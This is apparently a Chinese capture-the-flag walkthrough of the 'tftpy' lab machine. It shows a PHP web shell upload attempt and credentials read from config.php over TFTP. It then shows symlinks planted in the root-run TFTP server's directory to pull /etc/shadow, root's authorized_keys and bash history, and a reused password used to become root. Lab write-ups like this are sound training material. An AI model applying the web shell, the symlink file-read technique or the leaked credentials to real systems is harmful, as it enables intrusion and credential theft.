

tftpy

信息收集

```
(kali㉿192) [~/Desktop/Dasz/tftpy]
$ cat ports.nmap
# Nmap 7.99 scan initiated Sun Sep 27 19:43:25 2026 as: /usr/lib/nmap/nmap -sT -Pn -sV -sC -O -p- -oA ports 192.168.1.8
Nmap scan report for 192.168.1.8
Host is up (0.0010s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.68 ((Debian))
|_http-title: PHP 8.4.24 - phpinfo()
|_http-server-header: Apache/2.4.68 (Debian)
MAC Address: 08:00:27:1D:E9:97 (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Android 5 - 10 (Linux 3.4 - 3.18) (93%), Linux 2.6.32 (93%), Android 10 - 12 (Linux 4.14 - 4.19) (93%), Linux 5.10 - 5.19 (93%), Linux 3.2 - 4.14 (93%), OpenWrt 21.02 (Linux 5.4) (93%), Linux 2.6.32 - 3.10 (93%), Google Chromecast or Roku TV (Linux 4.9) (93%), Nintendo Switch (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 27 19:43:51 2026 -- 1 IP address (1 host up) scanned in 26.42 seconds
```

常规端口

web

```
301    351B    http://192.168.1.8/backup    -> REDIRECTS TO: http://192.168.1.8/backup/
200      0B    http://192.168.1.8/config.php
200    236B    http://192.168.1.8/upload.php
301    352B    http://192.168.1.8/uploads    -> REDIRECTS TO: http://192.168.1.8/uploads/
200    427B    http://192.168.1.8/uploads/
```

index.php

PHP Version 8.4.24

System	Linux Tftpy 7.2.7-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.2-12.2~trixie (2026-09-22) x86_64
Build Date	Jul 31 2026 05:11:11
Build System	Linux
Build Provider	Debian
Server API	Apache 2 Handler
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc/php/8.4/apache2
Loaded Configuration File	/etc/php/8.4/apache2/php.ini
Scan this dir for additional .ini files	/etc/php/8.4/apache2/conf.d
Additional .ini files parsed	/etc/php/8.4/apache2/conf.d/10-opcache.ini, /etc/php/8.4/apache2/conf.d/10-pdo.ini, /etc/php/8.4/apache2/conf.d/20-calendar.ini, /etc/php/8.4/apache2/conf.d/20-ctype.ini, /etc/php/8.4/apache2/conf.d/20-exif.ini, /etc/php/8.4/apache2/conf.d/20-ffi.ini, /etc/php/8.4/apache2/conf.d/20-fileinfo.ini, /etc/php/8.4/apache2/conf.d/20-ftp.ini, /etc/php/8.4/apache2/conf.d/20-gettext.ini, /etc/php/8.4/apache2/conf.d/20-iconv.ini, /etc/php/8.4/apache2/conf.d/20-phar.ini, /etc/php/8.4/apache2/conf.d/20-posix.ini, /etc/php/8.4/apache2/conf.d/20-readline.ini, /etc/php/8.4/apache2/conf.d/20-shmop.ini, /etc/php/8.4/apache2/conf.d/20-sockets.ini, /etc/php/8.4/apache2/conf.d/20-sysvmsg.ini, /etc/php/8.4/apache2/conf.d/20-sysvsem.ini, /etc/php/8.4/apache2/conf.d/20-sysvshm.ini, /etc/php/8.4/apache2/conf.d/20-tokenizer.ini

网站根目录: /var/www/html

disable_function: 无

upload.php&/uploads/

文件上传

只允许上传 txt 文件。

浏览... 未选择文件。

上传

明显文件上传，看样子还是个白名单

```
3 Connection: keep-alive
4
5 -----WebKitFormBoundaryJk3tA7G0zZ9laWkB
6 Content-Disposition: form-data; name="file"; filename="shell.php.txt"
7 Content-Type: text/plain
8
9 <?php @system($_GET['cmd']);?>
10 -----WebKitFormBoundaryJk3tA7G0zZ9laWkB--
15
16
17
18
```

各种绕白名单的方法都试了一遍，均无收获，怀疑其难度

tftp

这时发现靶机名有点眼熟，搜索一番

tftpy 是一个用 Python 编写的 TFTP（Trivial File Transfer Protocol，简单文件传输协议）客户端和服务端库，遵循 RFC 1350，并支持可变块大小等扩展选项，可通过 `pip install tftpy` 安装。

那可以利用tftp尝试读源码了

```
tftp> get /var/www/html/index.php
Error code 1: File not found
tftp> get /var/www/html/backup/index.php
tftp> |
```

经测试可以读取~/backup/index.php、config.php

```
//config.php
<?php
$username = 'xPerceptron';
$password = '1BN1cgsws86srT75XUSK';

//index.php
<?php
phpinfo();
```

直接登录即可

```
xPerceptron@Tftpy:~$ whoami
xPerceptron
xPerceptron@Tftpy:~$ id
uid=1000(xPerceptron) gid=1000(xPerceptron) groups=1000(xPerceptron)
xPerceptron@Tftpy:~$
```

提权

```
2026/09/27 10:15:41 CMD: UID=0      PID=425      | /usr/bin/python3 /opt/tftpy/run.py
2026/09/27 10:15:41 CMD: UID=0      PID=414      | /usr/lib/systemd/systemd-logind
2026/09/27 10:15:41 CMD: UID=0      PID=359      |
```

发现tftp是以root运行的，存在操作空间

```
#run.py

import sys
sys.path.insert(0, '/opt/tftpy')
import tftpy

tftpy.TftpServer('/var/www/html/backup').listen('0.0.0.0', 69)
```

其挂载目录为/var/www/html/backup，可以上软连接直接读flag

```
drwxr-xr-x 2 www-data www-data 4096 Sep 27 09:34 backup
drwxrwxrwx 2 www-data www-data 4096 Sep 27 09:33 uploads
```

backup目录对当前用户不可写，可以先在uploads中写马借www-data创建软连接

```
(www-data:/var/www/html/backup) $ ls -la
total 16
drwxr-xr-x 2 www-data www-data 4096 Sep 27 09:34 .
drwxr-xr-x 4 www-data www-data 4096 Sep 26 23:03 ..
-rw-r--r-- 1 www-data www-data  69 Sep 26 22:26 config.php
-rw-r--r-- 1 www-data www-data  17 Sep 26 22:26 index.php
lrwxrwxrwx 1 www-data www-data  14 Sep 27 09:34 root -> /root/root.txt
(www-data:/var/www/html/backup) $
```

```
tftp 192.168.1.8
get root
get root_pass
```

```
(kali@192) [~/Desktop/Dasz/tftpy]
$ cat root root_pass
flag{root-a2fdd537242e5979b4d53aac7140cdda}
root:$y$j9T$SMSasTLbr.2zIxqhY3cZr.$Ks1y1bXGLAXpyKsq5hN3fNAfARUwP.EzyZvC7oujN60:20723:0:99999:7:::
daemon:*:20568:0:99999:7:::
bin:*:20568:0:99999:7:::
```

root密码不好直接破解，探测一下是否存在ssh密钥

```
(www-data:/var/www/html/backup) $ ln -s /etc/shadow ./root_pass
(www-data:/var/www/html/backup) $ ln -s /root/.ssh/authorized_keys root_key
(www-data:/var/www/html/backup) $ ls
config.php
index.php
root
root_key
root_pass
```

```
(kali㉿192)-[~/Desktop/Dasz/tfpty]
$ cat root_key
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGC66BjsLm23JDVFydDC3hEdzpPynYToIQ0q5GiktmWoa4EUKPgkNCfPHL+RHRHGz6fL7hwPOPI2i9Jcc0So
jXkT8K786tA82mGpx6lswaX5bfwRKsdD5zuFS+1ldkrkMYrqD8rqLIQzrx5Ig4QgsvH0V5yAKnNemybBhiXyCjffqJqJj51mKwRFGezuJ+d0NXf56k4gw5ta
Ry6rZWWG9AKZqt74gxa84KyG3KMJFBmaNXyyLzAaj71fXMyT1iuSEjC1+0yQj+NXeZGkAjU8CWq5Y+ybKXCRqfpREpEf+fZ8AA3QS6B8k7gai1uJmkKyXYhe
wkI2q0cb7JP9q+LX2oiG0RxIGvtnxnbNXFunqLfaw/U2BahIosTpyD/m5bnTE+/qXXPJ5UEqVi8wZv2bQyBG09BibW0TkDqupanFUV1krWAAb2Aum+ScJkJXB
484KSsMNZks5Xu9K4eEdQqkhRfsViBv7PqjhbC1z/4Vn078wkIEmkmBQDsLMCvJfPh5XyrM= root@d4
```

但是只有公钥没私钥.....

看一下bash记录

```
/root/.bash_history
```

```
(kali㉿192)-[~/Desktop/Dasz/tfpty]
$ cat root_go
mysql -uroot -p6L8vIjMakbCB0KeSoD92
```

拿到mysql密码尝试转root

```
xPerceptron@Tftpy:~$ su
Password:
root@Tftpy:/home/xPerceptron# whoami
root
root@Tftpy:/home/xPerceptron# |
```